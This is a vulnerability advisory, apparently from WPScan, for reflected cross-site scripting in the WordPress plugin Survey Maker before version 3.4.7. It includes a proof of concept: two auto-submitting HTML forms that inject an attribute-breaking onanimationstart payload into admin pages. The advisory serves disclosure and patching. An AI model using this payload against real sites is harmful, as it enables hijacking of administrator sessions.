WordPress Plugin Vulnerabilities

Survey Maker < 3.4.7 - Reflected XSS

Description

The plugin does not escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page containing one of the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=survey-maker-survey-categories" method="POST">
      <input type="hidden" name="page" value='"style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
  </body>
</html>

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=survey-maker" method="POST">
      <input type="hidden" name="page" value='"style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
  </body>
</html>

Affects Plugins

Fixed in 3.4.7

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-05-15 (about 1 years ago)
Added
2023-05-15 (about 1 years ago)
Last Updated
2023-05-15 (about 1 years ago)

Other